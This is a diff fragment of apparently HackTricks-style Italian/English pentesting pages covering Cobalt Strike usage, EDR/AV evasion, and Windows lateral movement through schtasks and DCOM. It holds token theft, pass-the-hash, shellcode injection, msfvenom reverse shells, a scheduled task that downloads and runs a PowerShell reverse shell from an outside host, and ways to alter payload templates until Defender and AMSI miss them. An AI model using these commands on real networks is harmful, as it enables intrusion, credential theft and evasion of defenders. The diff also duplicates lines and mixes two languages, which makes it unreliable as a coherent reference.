powershell-import C:\path\to\PowerView.ps1
|
||||
powershell <scrivi qui il comando powershell>
|
||||
powershell-import /root/Tools/PowerSploit/Privesc/PowerUp.ps1
|
||||
powershell <scrivi qui il comando powershell> # Questo utilizza la versione di powershell più alta supportata (non oppsec)
|
||||
powerpick <cmdlet> <args> # Questo crea un processo sacrificabile specificato da spawnto, e inietta UnmanagedPowerShell in esso per una migliore opsec (non logging)
|
||||
powerpick Invoke-PrivescAudit | fl
|
||||
psinject <pid> <arch> <commandlet> <arguments> # Questo inietta UnmanagedPowerShell nel processo specificato per eseguire il cmdlet PowerShell.
|
||||
|
||||
|
||||
# User impersonation
|
||||
## Generazione del token con credenziali
|
||||
## Generazione di token con credenziali
|
||||
make_token [DOMAIN\user] [password] #Crea un token per impersonare un utente nella rete
|
||||
ls \\computer_name\c$ # Prova a usare il token generato per accedere a C$ in un computer
|
||||
rev2self # Smetti di usare il token generato con make_token
|
||||
@ -73,7 +79,7 @@ runasadmin uac-cmstplua powershell.exe -nop -w hidden -c "IEX ((new-object net.w
|
||||
## Ruba token da pid
|
||||
## Come make_token ma rubando il token da un processo
|
||||
steal_token [pid] # Inoltre, questo è utile per azioni di rete, non azioni locali
|
||||
## Dalla documentazione API sappiamo che questo tipo di accesso "consente al chiamante di clonare il proprio token attuale". Ecco perché l'output del Beacon dice Impersonated <current_username> - sta impersonando il nostro token clonato.
|
||||
## Dalla documentazione API sappiamo che questo tipo di accesso "consente al chiamante di clonare il proprio token attuale". Questo è il motivo per cui l'output del Beacon dice Impersonated <current_username> - sta impersonando il nostro token clonato.
|
||||
ls \\computer_name\c$ # Prova a usare il token generato per accedere a C$ in un computer
|
||||
rev2self # Smetti di usare il token da steal_token
|
||||
|
||||
@ -83,7 +89,7 @@ spawnas [domain\username] [password] [listener] #Fallo da una directory con acce
|
||||
|
||||
## Inietta nel processo
|
||||
inject [pid] [x64|x86] [listener]
|
||||
## Da un punto di vista OpSec: Non eseguire iniezioni cross-platform a meno che non sia davvero necessario (ad es. x86 -> x64 o x64 -> x86).
|
||||
## Da un punto di vista OpSec: Non eseguire iniezioni cross-platform a meno che non sia davvero necessario (es. x86 -> x64 o x64 -> x86).
|
||||
|
||||
## Pass the hash
|
||||
## Questo processo di modifica richiede la patching della memoria LSASS che è un'azione ad alto rischio, richiede privilegi di amministratore locale e non è molto praticabile se il Protected Process Light (PPL) è abilitato.
|
||||
@ -92,11 +98,12 @@ pth [DOMAIN\user] [NTLM hash]
|
||||
|
||||
## Pass the hash tramite mimikatz
|
||||
mimikatz sekurlsa::pth /user:<username> /domain:<DOMAIN> /ntlm:<NTLM HASH> /run:"powershell -w hidden"
|
||||
## Senza /run, mimikatz avvia un cmd.exe, se stai eseguendo come utente con Desktop, vedrà la shell (se stai eseguendo come SYSTEM sei a posto)
|
||||
steal_token <pid> #Ruba il token dal processo creato da mimikatz
|
||||
## Senza /run, mimikatz genera un cmd.exe, se stai eseguendo come utente con Desktop, vedrà la shell (se stai eseguendo come SYSTEM sei a posto)
|
||||
steal_token <pid> #Ruba token dal processo creato da mimikatz
|
||||
|
||||
## Pass the ticket
|
||||
## Richiedi un ticket
|
||||
execute-assembly /root/Tools/SharpCollection/Seatbelt.exe -group=system
|
||||
execute-assembly C:\path\Rubeus.exe asktgt /user:<username> /domain:<domain> /aes256:<aes_keys> /nowrap /opsec
|
||||
## Crea una nuova sessione di accesso da utilizzare con il nuovo ticket (per non sovrascrivere quello compromesso)
|
||||
make_token <domain>\<username> DummyPass
|
||||
@ -131,11 +138,13 @@ jump [method] [target] [listener]
|
||||
## psexec_psh x86 Usa un servizio per eseguire una riga di comando PowerShell
|
||||
## winrm x86 Esegui uno script PowerShell tramite WinRM
|
||||
## winrm64 x64 Esegui uno script PowerShell tramite WinRM
|
||||
## wmi_msbuild x64 movimento laterale wmi con attività inline c# msbuild (oppsec)
|
||||
|
||||
remote-exec [method] [target] [command]
|
||||
|
||||
remote-exec [method] [target] [command] # remote-exec non restituisce output
|
||||
## Metodi:
|
||||
<strong>## psexec Esecuzione remota tramite Service Control Manager
|
||||
</strong>## winrm Esecuzione remota tramite WinRM (PowerShell)
|
||||
## psexec Esecuzione remota tramite Service Control Manager
|
||||
## winrm Esecuzione remota tramite WinRM (PowerShell)
|
||||
## wmi Esecuzione remota tramite WMI
|
||||
|
||||
## Per eseguire un beacon con wmi (non è nel comando jump) basta caricare il beacon ed eseguirlo
|
||||
@ -144,29 +153,29 @@ beacon> remote-exec wmi srv-1 C:\Windows\beacon-smb.exe
|
||||
|
||||
|
||||
# Pass session to Metasploit - Through listener
|
||||
## Su host metaploit
|
||||
## Sul host metaploit
|
||||
msf6 > use exploit/multi/handler
|
||||
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_http
|
||||
msf6 exploit(multi/handler) > set LHOST eth0
|
||||
msf6 exploit(multi/handler) > set LPORT 8080
|
||||
msf6 exploit(multi/handler) > exploit -j
|
||||
|
||||
## Su cobalt: Listeners > Add e imposta il Payload su Foreign HTTP. Imposta l'Host su 10.10.5.120, la Porta su 8080 e clicca su Salva.
|
||||
## Su cobalt: Listeners > Aggiungi e imposta il Payload su Foreign HTTP. Imposta l'Host su 10.10.5.120, la Porta su 8080 e fai clic su Salva.
|
||||
beacon> spawn metasploit
|
||||
## Puoi solo avviare sessioni Meterpreter x86 con il listener estero.
|
||||
|
||||
# Pass session to Metasploit - Through shellcode injection
|
||||
## Su host metasploit
|
||||
## Sul host metasploit
|
||||
msfvenom -p windows/x64/meterpreter_reverse_http LHOST=<IP> LPORT=<PORT> -f raw -o /tmp/msf.bin
|
||||
## Esegui msfvenom e prepara il listener multi/handler
|
||||
|
||||
## Copia il file bin nel host di cobalt strike
|
||||
## Copia il file bin su host cobalt strike
|
||||
ps
|
||||
shinject <pid> x64 C:\Payloads\msf.bin #Inietta il codice shell di metasploit in un processo x64
|
||||
shinject <pid> x64 C:\Payloads\msf.bin #Inietta shellcode metasploit in un processo x64
|
||||
|
||||
# Pass metasploit session to cobalt strike
|
||||
## Genera shellcode Beacon stageless, vai su Attacks > Packages > Windows Executable (S), seleziona il listener desiderato, seleziona Raw come tipo di output e seleziona Usa payload x64.
|
||||
## Usa post/windows/manage/shellcode_inject in metasploit per iniettare il codice shell generato da cobalt strike
|
||||
## Usa post/windows/manage/shellcode_inject in metasploit per iniettare il shellcode generato di cobalt strike
|
||||
|
||||
|
||||
# Pivoting
|
||||
@ -176,50 +185,178 @@ beacon> socks 1080
|
||||
# SSH connection
|
||||
beacon> ssh 10.10.17.12:22 username password</code></pre>
|
||||
|
||||
## Avoiding AVs
|
||||
## Opsec
|
||||
|
||||
### Artifact Kit
|
||||
### Execute-Assembly
|
||||
|
||||
Di solito in `/opt/cobaltstrike/artifact-kit` puoi trovare il codice e i modelli precompilati (in `/src-common`) dei payload che cobalt strike utilizzerà per generare i beacon binari.
|
||||
Il **`execute-assembly`** utilizza un **processo sacrificabile** usando l'iniezione di processo remoto per eseguire il programma indicato. Questo è molto rumoroso poiché per iniettare all'interno di un processo vengono utilizzate alcune API Win che ogni EDR sta controllando. Tuttavia, ci sono alcuni strumenti personalizzati che possono essere utilizzati per caricare qualcosa nello stesso processo:
|
||||
|
||||
Utilizzando [ThreatCheck](https://github.com/rasta-mouse/ThreatCheck) con la backdoor generata (o semplicemente con il modello compilato) puoi scoprire cosa fa scattare il defender. Di solito è una stringa. Pertanto, puoi semplicemente modificare il codice che genera la backdoor in modo che quella stringa non appaia nel binario finale.
|
||||
- [https://github.com/anthemtotheego/InlineExecute-Assembly](https://github.com/anthemtotheego/InlineExecute-Assembly)
|
||||
- [https://github.com/kyleavery/inject-assembly](https://github.com/kyleavery/inject-assembly)
|
||||
- In Cobalt Strike puoi anche usare BOF (Beacon Object Files): [https://github.com/CCob/BOF.NET](https://github.com/CCob/BOF.NET)
|
||||
- [https://github.com/kyleavery/inject-assembly](https://github.com/kyleavery/inject-assembly)
|
||||
|
||||
Lo script aggressore `https://github.com/outflanknl/HelpColor` creerà il comando `helpx` in Cobalt Strike che metterà colori nei comandi indicando se sono BOFs (verde), se sono Frok&Run (giallo) e simili, o se sono ProcessExecution, iniezione o simili (rosso). Questo aiuta a sapere quali comandi sono più furtivi.
|
||||
|
||||
### Act as the user
|
||||
|
||||
Puoi controllare eventi come `Seatbelt.exe LogonEvents ExplicitLogonEvents PoweredOnEvents`:
|
||||
|
||||
- Security EID 4624 - Controlla tutti i logon interattivi per conoscere le ore di lavoro abituali.
|
||||
- System EID 12,13 - Controlla la frequenza di spegnimento/accensione/ibernazione.
|
||||
- Security EID 4624/4625 - Controlla i tentativi NTLM validi/invalidi in entrata.
|
||||
- Security EID 4648 - Questo evento viene creato quando vengono utilizzate credenziali in chiaro per accedere. Se un processo lo ha generato, il binario potrebbe avere le credenziali in chiaro in un file di configurazione o all'interno del codice.
|
||||
|
||||
Quando usi `jump` da cobalt strike, è meglio usare il metodo `wmi_msbuild` per far sembrare il nuovo processo più legittimo.
|
||||
|
||||
### Use computer accounts
|
||||
|
||||
È comune che i difensori controllino comportamenti strani generati dagli utenti ed **escludano gli account di servizio e gli account computer come `*$` dal loro monitoraggio**. Puoi utilizzare questi account per eseguire movimenti laterali o escalation dei privilegi.
|
||||
|
||||
### Use stageless payloads
|
||||
|
||||
I payload stageless sono meno rumorosi rispetto a quelli staged perché non hanno bisogno di scaricare una seconda fase dal server C2. Questo significa che non generano traffico di rete dopo la connessione iniziale, rendendoli meno probabili da rilevare da difese basate sulla rete.
|
||||
|
||||
### Tokens & Token Store
|
||||
|
||||
Fai attenzione quando rubi o generi token perché potrebbe essere possibile per un EDR enumerare tutti i token di tutti i thread e trovare un **token appartenente a un utente diverso** o persino a SYSTEM nel processo.
|
||||
|
||||
Questo consente di memorizzare i token **per beacon** in modo che non sia necessario rubare lo stesso token più e più volte. Questo è utile per il movimento laterale o quando hai bisogno di utilizzare un token rubato più volte:
|
||||
|
||||
- token-store steal <pid>
|
||||
- token-store steal-and-use <pid>
|
||||
- token-store show
|
||||
- token-store use <id>
|
||||
- token-store remove <id>
|
||||
- token-store remove-all
|
||||
|
||||
Quando ci si muove lateralmente, di solito è meglio **rubare un token piuttosto che generarne uno nuovo** o eseguire un attacco pass the hash.
|
||||
|
||||
### Guardrails
|
||||
|
||||
Cobalt Strike ha una funzione chiamata **Guardrails** che aiuta a prevenire l'uso di determinati comandi o azioni che potrebbero essere rilevati dai difensori. I guardrails possono essere configurati per bloccare comandi specifici, come `make_token`, `jump`, `remote-exec`, e altri comunemente usati per il movimento laterale o l'escalation dei privilegi.
|
||||
|
||||
Inoltre, il repo [https://github.com/Arvanaghi/CheckPlease/wiki/System-Related-Checks](https://github.com/Arvanaghi/CheckPlease/wiki/System-Related-Checks) contiene anche alcuni controlli e idee che potresti considerare prima di eseguire un payload.
|
||||
|
||||
### Tickets encryption
|
||||
|
||||
In un AD fai attenzione alla crittografia dei ticket. Per impostazione predefinita, alcuni strumenti utilizzeranno la crittografia RC4 per i ticket Kerberos, che è meno sicura rispetto alla crittografia AES e per impostazione predefinita gli ambienti aggiornati utilizzeranno AES. Questo può essere rilevato dai difensori che monitorano algoritmi di crittografia deboli.
|
||||
|
||||
### Avoid Defaults
|
||||
|
||||
Quando usi Cobalt Strike per impostazione predefinita i pipe SMB avranno il nome `msagent_####` e `"status_####`. Cambia quei nomi. È possibile controllare i nomi dei pipe esistenti da Cobalt Strike con il comando: `ls \\.\pipe\`
|
||||
|
||||
Inoltre, con le sessioni SSH viene creato un pipe chiamato `\\.\pipe\postex_ssh_####`. Cambialo con `set ssh_pipename "<new_name>";`.
|
||||
|
||||
Anche nell'attacco di post exploitation i pipe `\\.\pipe\postex_####` possono essere modificati con `set pipename "<new_name>"`.
|
||||
|
||||
Nei profili di Cobalt Strike puoi anche modificare cose come:
|
||||
|
||||
- Evitare di usare `rwx`
|
||||
- Come funziona il comportamento di iniezione del processo (quali API verranno utilizzate) nel blocco `process-inject {...}`
|
||||
- Come funziona il "fork and run" nel blocco `post-ex {…}`
|
||||
- Il tempo di attesa
|
||||
- La dimensione massima dei binari da caricare in memoria
|
||||
- L'impronta di memoria e il contenuto DLL con il blocco `stage {...}`
|
||||
- Il traffico di rete
|
||||
|
||||
### Bypass memory scanning
|
||||
|
||||
Alcuni EDR scansionano la memoria per alcune firme di malware conosciute. Cobalt Strike consente di modificare la funzione `sleep_mask` come un BOF che sarà in grado di crittografare in memoria il backdoor.
|
||||
|
||||
### Noisy proc injections
|
||||
|
||||
Quando si inietta codice in un processo, questo è solitamente molto rumoroso, questo perché **nessun processo regolare di solito esegue questa azione e perché i modi per farlo sono molto limitati**. Pertanto, potrebbe essere rilevato da sistemi di rilevamento basati sul comportamento. Inoltre, potrebbe anche essere rilevato da EDR che scansionano la rete per **thread contenenti codice che non è su disco** (anche se processi come i browser che utilizzano JIT hanno questo comunemente). Esempio: [https://gist.github.com/jaredcatkinson/23905d34537ce4b5b1818c3e6405c1d2](https://gist.github.com/jaredcatkinson/23905d34537ce4b5b1818c3e6405c1d2)
|
||||
|
||||
### Spawnas | PID and PPID relationships
|
||||
|
||||
Quando si genera un nuovo processo è importante **mantenere una regolare relazione genitore-figlio** tra i processi per evitare il rilevamento. Se svchost.exec sta eseguendo iexplorer.exe sembrerà sospetto, poiché svchost.exe non è un genitore di iexplorer.exe in un normale ambiente Windows.
|
||||
|
||||
Quando un nuovo beacon viene generato in Cobalt Strike, per impostazione predefinita viene creato un processo utilizzando **`rundll32.exe`** per eseguire il nuovo listener. Questo non è molto furtivo e può essere facilmente rilevato dagli EDR. Inoltre, `rundll32.exe` viene eseguito senza argomenti rendendolo ancora più sospetto.
|
||||
|
||||
Con il seguente comando Cobalt Strike, puoi specificare un processo diverso per generare il nuovo beacon, rendendolo meno rilevabile:
|
||||
```bash
|
||||
spawnto x86 svchost.exe
|
||||
```
|
||||
Puoi anche cambiare questa impostazione **`spawnto_x86` e `spawnto_x64`** in un profilo.
|
||||
|
||||
### Proxying attackers traffic
|
||||
|
||||
A volte gli attaccanti avranno bisogno di eseguire strumenti localmente, anche su macchine Linux, e far sì che il traffico delle vittime raggiunga lo strumento (ad es. NTLM relay).
|
||||
|
||||
Inoltre, a volte per eseguire un attacco pass-the-hash o pass-the-ticket è più furtivo per l'attaccante **aggiungere questo hash o ticket nel proprio processo LSASS** localmente e poi pivotare da esso invece di modificare un processo LSASS di una macchina vittima.
|
||||
|
||||
Tuttavia, devi essere **attento al traffico generato**, poiché potresti inviare traffico non comune (kerberos?) dal tuo processo di backdoor. Per questo potresti pivotare a un processo del browser (anche se potresti essere scoperto mentre ti inietti in un processo, quindi pensa a un modo furtivo per farlo).
|
||||
```bash
|
||||
|
||||
### Avoiding AVs
|
||||
|
||||
#### AV/AMSI/ETW Bypass
|
||||
|
||||
Check the page:
|
||||
|
||||
{{#ref}}
|
||||
av-bypass.md
|
||||
{{#endref}}
|
||||
|
||||
|
||||
#### Artifact Kit
|
||||
|
||||
Usually in `/opt/cobaltstrike/artifact-kit` you can find the code and pre-compiled templates (in `/src-common`) of the payloads that cobalt strike is going to use to generate the binary beacons.
|
||||
|
||||
Using [ThreatCheck](https://github.com/rasta-mouse/ThreatCheck) with the generated backdoor (or just with the compiled template) you can find what is making defender trigger. It's usually a string. Therefore you can just modify the code that is generating the backdoor so that string doesn't appear in the final binary.
|
||||
|
||||
After modifying the code just run `./build.sh` from the same directory and copy the `dist-pipe/` folder into the Windows client in `C:\Tools\cobaltstrike\ArtifactKit`.
|
||||
|
||||
Dopo aver modificato il codice, esegui semplicemente `./build.sh` dalla stessa directory e copia la cartella `dist-pipe/` nel client Windows in `C:\Tools\cobaltstrike\ArtifactKit`.
|
||||
```
|
||||
pscp -r root@kali:/opt/cobaltstrike/artifact-kit/dist-pipe .
|
||||
```
|
||||
Non dimenticare di caricare lo script aggressivo `dist-pipe\artifact.cna` per indicare a Cobalt Strike di utilizzare le risorse dal disco che vogliamo e non quelle caricate.
|
||||
|
||||
### Resource Kit
|
||||
Don't forget to load the aggressive script `dist-pipe\artifact.cna` to indicate Cobalt Strike to use the resources from disk that we want and not the ones loaded.
|
||||
|
||||
La cartella ResourceKit contiene i modelli per i payload basati su script di Cobalt Strike, inclusi PowerShell, VBA e HTA.
|
||||
#### Resource Kit
|
||||
|
||||
The ResourceKit folder contains the templates for Cobalt Strike's script-based payloads including PowerShell, VBA and HTA.
|
||||
|
||||
Using [ThreatCheck](https://github.com/rasta-mouse/ThreatCheck) with the templates you can find what is defender (AMSI in this case) not liking and modify it:
|
||||
|
||||
Utilizzando [ThreatCheck](https://github.com/rasta-mouse/ThreatCheck) con i modelli puoi scoprire cosa non piace al defender (AMSI in questo caso) e modificarlo:
|
||||
```
|
||||
.\ThreatCheck.exe -e AMSI -f .\cobaltstrike\ResourceKit\template.x64.ps1
|
||||
```
|
||||
Modificando le righe rilevate si può generare un modello che non verrà catturato.
|
||||
|
||||
Non dimenticare di caricare lo script aggressivo `ResourceKit\resources.cna` per indicare a Cobalt Strike di utilizzare le risorse dal disco che vogliamo e non quelle caricate.
|
||||
Modifying the detected lines one can generate a template that won't be caught.
|
||||
|
||||
Don't forget to load the aggressive script `ResourceKit\resources.cna` to indicate Cobalt Strike to luse the resources from disk that we want and not the ones loaded.
|
||||
|
||||
#### Function hooks | Syscall
|
||||
|
||||
Function hooking is a very common method of ERDs to detect malicious activity. Cobalt Strike allows you to bypass these hooks by using **syscalls** instead of the standard Windows API calls using the **`None`** config, or use the `Nt*` version of a function with the **`Direct`** setting, or just jumping over the `Nt*` function with the **`Indirect`** option in the malleable profile. Depending on the system, an optino might be more stealth then the other.
|
||||
|
||||
This can be set in the profile or suing the command **`syscall-method`**
|
||||
|
||||
However, this could also be noisy.
|
||||
|
||||
Some option granted by Cobalt Strike to bypass function hooks is to remove those hooks with: [**unhook-bof**](https://github.com/Cobalt-Strike/unhook-bof).
|
||||
|
||||
You could also check with functions are hooked with [**https://github.com/Mr-Un1k0d3r/EDRs**](https://github.com/Mr-Un1k0d3r/EDRs) or [**https://github.com/matterpreter/OffensiveCSharp/tree/master/HookDetector**](https://github.com/matterpreter/OffensiveCSharp/tree/master/HookDetector)
|
||||
|
||||
|
||||
|
||||
|
||||
```bash
|
||||
cd C:\Tools\neo4j\bin
|
||||
neo4j.bat console
|
||||
http://localhost:7474/ --> Change password
|
||||
execute-assembly C:\Tools\SharpHound3\SharpHound3\bin\Debug\SharpHound.exe -c All -d DOMAIN.LOCAL
|
||||
cd C:\Tools\neo4j\bin
|
||||
neo4j.bat console
|
||||
http://localhost:7474/ --> Cambiare password
|
||||
execute-assembly C:\Tools\SharpHound3\SharpHound3\bin\Debug\SharpHound.exe -c All -d DOMAIN.LOCAL
|
||||
|
||||
# Cambiare powershell
|
||||
C:\Tools\cobaltstrike\ResourceKit
|
||||
template.x64.ps1
|
||||
# Cambiare $var_code -> $polop
|
||||
# $x --> $ar
|
||||
cobalt strike --> script manager --> Load --> Cargar C:\Tools\cobaltstrike\ResourceKit\resources.cna
|
||||
|
||||
|
||||
# Change powershell
|
||||
C:\Tools\cobaltstrike\ResourceKit
|
||||
template.x64.ps1
|
||||
# Change $var_code -> $polop
|
||||
# $x --> $ar
|
||||
cobalt strike --> script manager --> Load --> Cargar C:\Tools\cobaltstrike\ResourceKit\resources.cna
|
||||
|
||||
#artifact kit
|
||||
cd C:\Tools\cobaltstrike\ArtifactKit
|
||||
#artifact kit
|
||||
cd C:\Tools\cobaltstrike\ArtifactKit
|
||||
pscp -r root@kali:/opt/cobaltstrike/artifact-kit/dist-pipe .
|
||||
|
||||
|
||||
```
|
||||
|
||||
|
||||
@ -10,6 +10,8 @@ Ci sono diversi modi per eseguire comandi in sistemi esterni, qui puoi trovare l
|
||||
- [**AtExec / SchtasksExec**](atexec.md)
|
||||
- [**WinRM**](winrm.md)
|
||||
- [**DCOM Exec**](dcom-exec.md)
|
||||
- [**RDPexec**](rdpexec.md)
|
||||
- [**SCMexec**](scmexec.md)
|
||||
- [**Pass the cookie**](https://cloud.hacktricks.wiki/en/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-cookie.html) (cloud)
|
||||
- [**Pass the PRT**](https://cloud.hacktricks.wiki/en/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/pass-the-prt.html) (cloud)
|
||||
- [**Pass the AzureAD Certificate**](https://cloud.hacktricks.wiki/en/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-certificate.html) (cloud)
|
||||
|
||||
@ -18,10 +18,18 @@ schtasks /run /tn <TASK_NAME> /S <VICTIM>
|
||||
schtasks /create /S dcorp-dc.domain.local /SC Weekely /RU "NT Authority\SYSTEM" /TN "MyNewtask" /TR "powershell.exe -c 'iex (New-Object Net.WebClient).DownloadString(''http://172.16.100.X/InvokePowerShellTcp.ps1''')'"
|
||||
schtasks /run /tn "MyNewtask" /S dcorp-dc.domain.local
|
||||
```
|
||||
Puoi utilizzare **Impacket's `atexec.py`** per eseguire comandi su sistemi remoti utilizzando il comando AT. Questo richiede credenziali valide (nome utente e password o hash) per il sistema target.
|
||||
```bash
|
||||
atexec.py 'DOMAIN'/'USER':'PASSWORD'@'target_ip' whoami
|
||||
```
|
||||
Puoi anche usare [SharpLateral](https://github.com/mertdas/SharpLateral):
|
||||
```bash
|
||||
SharpLateral schedule HOSTNAME C:\Users\Administrator\Desktop\malware.exe TaskName
|
||||
```
|
||||
Maggiore informazione sull'[**uso di schtasks con i silver ticket qui**](../active-directory-methodology/silver-ticket.md#host).
|
||||
Puoi usare [SharpMove](https://github.com/0xthirteen/SharpMove):
|
||||
```bash
|
||||
SharpMove.exe action=taskscheduler computername=remote.host.local command="C:\windows\temp\payload.exe" taskname=Debug amsi=true username=domain\\user password=password
|
||||
```
|
||||
Maggiore informazione sull'[**uso di schtasks con silver tickets qui**](../active-directory-methodology/silver-ticket.md#host).
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -4,27 +4,27 @@
|
||||
|
||||
## MMC20.Application
|
||||
|
||||
**Per ulteriori informazioni su questa tecnica, controlla il post originale da [https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/](https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/)**
|
||||
**Per ulteriori informazioni su questa tecnica, controlla il post originale su [https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/](https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/)**
|
||||
|
||||
Gli oggetti del Distributed Component Object Model (DCOM) presentano una capacità interessante per interazioni basate su rete con oggetti. Microsoft fornisce documentazione completa sia per DCOM che per il Component Object Model (COM), accessibile [qui per DCOM](https://msdn.microsoft.com/en-us/library/cc226801.aspx) e [qui per COM](<https://msdn.microsoft.com/en-us/library/windows/desktop/ms694363(v=vs.85).aspx>). Un elenco di applicazioni DCOM può essere recuperato utilizzando il comando PowerShell:
|
||||
Gli oggetti del Modello di Oggetti a Componenti Distribuiti (DCOM) presentano una capacità interessante per interazioni basate su rete con oggetti. Microsoft fornisce documentazione completa sia per DCOM che per il Modello di Oggetti a Componenti (COM), accessibile [qui per DCOM](https://msdn.microsoft.com/en-us/library/cc226801.aspx) e [qui per COM](<https://msdn.microsoft.com/en-us/library/windows/desktop/ms694363(v=vs.85).aspx>). Un elenco di applicazioni DCOM può essere recuperato utilizzando il comando PowerShell:
|
||||
```bash
|
||||
Get-CimInstance Win32_DCOMApplication
|
||||
```
|
||||
L'oggetto COM, [MMC Application Class (MMC20.Application)](https://technet.microsoft.com/en-us/library/cc181199.aspx), consente la scripting delle operazioni degli snap-in MMC. In particolare, questo oggetto contiene un metodo `ExecuteShellCommand` sotto `Document.ActiveView`. Maggiori informazioni su questo metodo possono essere trovate [qui](<https://msdn.microsoft.com/en-us/library/aa815396(v=vs.85).aspx>). Controllalo in esecuzione:
|
||||
|
||||
Questa funzionalità facilita l'esecuzione di comandi su una rete tramite un'applicazione DCOM. Per interagire con DCOM da remoto come amministratore, PowerShell può essere utilizzato come segue:
|
||||
```powershell
|
||||
```bash
|
||||
[activator]::CreateInstance([type]::GetTypeFromProgID("<DCOM_ProgID>", "<IP_Address>"))
|
||||
```
|
||||
Questo comando si connette all'applicazione DCOM e restituisce un'istanza dell'oggetto COM. Il metodo ExecuteShellCommand può quindi essere invocato per eseguire un processo sull'host remoto. Il processo prevede i seguenti passaggi:
|
||||
|
||||
Controlla i metodi:
|
||||
```powershell
|
||||
```bash
|
||||
$com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application", "10.10.10.10"))
|
||||
$com.Document.ActiveView | Get-Member
|
||||
```
|
||||
Ottieni RCE:
|
||||
```powershell
|
||||
```bash
|
||||
$com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application", "10.10.10.10"))
|
||||
$com | Get-Member
|
||||
|
||||
@ -36,27 +36,32 @@ ls \\10.10.10.10\c$\Users
|
||||
|
||||
**Per ulteriori informazioni su questa tecnica, controlla il post originale [https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/](https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/)**
|
||||
|
||||
L'oggetto **MMC20.Application** è stato identificato come privo di "LaunchPermissions" espliciti, impostando permessi che consentono l'accesso agli Amministratori. Per ulteriori dettagli, è possibile esplorare un thread [qui](https://twitter.com/tiraniddo/status/817532039771525120), e si raccomanda l'uso di [@tiraniddo](https://twitter.com/tiraniddo)’s OleView .NET per filtrare oggetti senza espliciti permessi di avvio.
|
||||
L'oggetto **MMC20.Application** è stato identificato come privo di "LaunchPermissions" espliciti, impostando permessi che consentono l'accesso agli Amministratori. Per ulteriori dettagli, è possibile esplorare un thread [qui](https://twitter.com/tiraniddo/status/817532039771525120), e si raccomanda l'uso di [@tiraniddo](https://twitter.com/tiraniddo)’s OleView .NET per filtrare oggetti senza esplicito Permesso di Avvio.
|
||||
|
||||
Due oggetti specifici, `ShellBrowserWindow` e `ShellWindows`, sono stati evidenziati a causa della loro mancanza di permessi di avvio espliciti. L'assenza di una voce di registro `LaunchPermission` sotto `HKCR:\AppID\{guid}` indica che non ci sono permessi espliciti.
|
||||
Due oggetti specifici, `ShellBrowserWindow` e `ShellWindows`, sono stati evidenziati a causa della loro mancanza di Permessi di Avvio espliciti. L'assenza di una voce di registro `LaunchPermission` sotto `HKCR:\AppID\{guid}` indica che non ci sono permessi espliciti.
|
||||
|
||||
### ShellWindows
|
||||
|
||||
Per `ShellWindows`, che manca di un ProgID, i metodi .NET `Type.GetTypeFromCLSID` e `Activator.CreateInstance` facilitano l'istanza dell'oggetto utilizzando il suo AppID. Questo processo sfrutta OleView .NET per recuperare il CLSID per `ShellWindows`. Una volta istanziato, è possibile interagire tramite il metodo `WindowsShell.Item`, portando a invocazioni di metodi come `Document.Application.ShellExecute`.
|
||||
|
||||
Esempi di comandi PowerShell sono stati forniti per istanziare l'oggetto ed eseguire comandi da remoto:
|
||||
```powershell
|
||||
```bash
|
||||
# Example
|
||||
$com = [Type]::GetTypeFromCLSID("<clsid>", "<IP>")
|
||||
$obj = [System.Activator]::CreateInstance($com)
|
||||
$item = $obj.Item()
|
||||
$item.Document.Application.ShellExecute("cmd.exe", "/c calc.exe", "c:\windows\system32", $null, 0)
|
||||
|
||||
# Need to upload the file to execute
|
||||
$COM = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.APPLICATION", "192.168.52.100"))
|
||||
$COM.Document.ActiveView.ExecuteShellCommand("C:\Windows\System32\calc.exe", $Null, $Null, "7")
|
||||
```
|
||||
### Movimento Laterale con Oggetti DCOM di Excel
|
||||
|
||||
Il movimento laterale può essere ottenuto sfruttando gli oggetti DCOM di Excel. Per informazioni dettagliate, è consigliabile leggere la discussione su come sfruttare Excel DDE per il movimento laterale tramite DCOM su [il blog di Cybereason](https://www.cybereason.com/blog/leveraging-excel-dde-for-lateral-movement-via-dcom).
|
||||
|
||||
Il progetto Empire fornisce uno script PowerShell, che dimostra l'utilizzo di Excel per l'esecuzione remota di codice (RCE) manipolando gli oggetti DCOM. Di seguito sono riportati frammenti dello script disponibile su [il repository GitHub di Empire](https://github.com/EmpireProject/Empire/blob/master/data/module_source/lateral_movement/Invoke-DCOM.ps1), che mostrano diversi metodi per abusare di Excel per RCE:
|
||||
```powershell
|
||||
Il progetto Empire fornisce uno script PowerShell, che dimostra l'utilizzo di Excel per l'esecuzione remota di codice (RCE) manipolando oggetti DCOM. Di seguito sono riportati frammenti dello script disponibile su [il repository GitHub di Empire](https://github.com/EmpireProject/Empire/blob/master/data/module_source/lateral_movement/Invoke-DCOM.ps1), che mostrano diversi metodi per abusare di Excel per RCE:
|
||||
```bash
|
||||
# Detection of Office version
|
||||
elseif ($Method -Match "DetectOffice") {
|
||||
$Com = [Type]::GetTypeFromProgID("Excel.Application","$ComputerName")
|
||||
@ -88,13 +93,25 @@ Due strumenti sono evidenziati per automatizzare queste tecniche:
|
||||
```bash
|
||||
SharpLateral.exe reddcom HOSTNAME C:\Users\Administrator\Desktop\malware.exe
|
||||
```
|
||||
- [SharpMove](https://github.com/0xthirteen/SharpMove):
|
||||
```bash
|
||||
SharpMove.exe action=dcom computername=remote.host.local command="C:\windows\temp\payload.exe\" method=ShellBrowserWindow amsi=true
|
||||
```
|
||||
## Strumenti Automatici
|
||||
|
||||
- Lo script Powershell [**Invoke-DCOM.ps1**](https://github.com/EmpireProject/Empire/blob/master/data/module_source/lateral_movement/Invoke-DCOM.ps1) consente di invocare facilmente tutti i metodi commentati per eseguire codice su altre macchine.
|
||||
- Puoi anche utilizzare [**SharpLateral**](https://github.com/mertdas/SharpLateral):
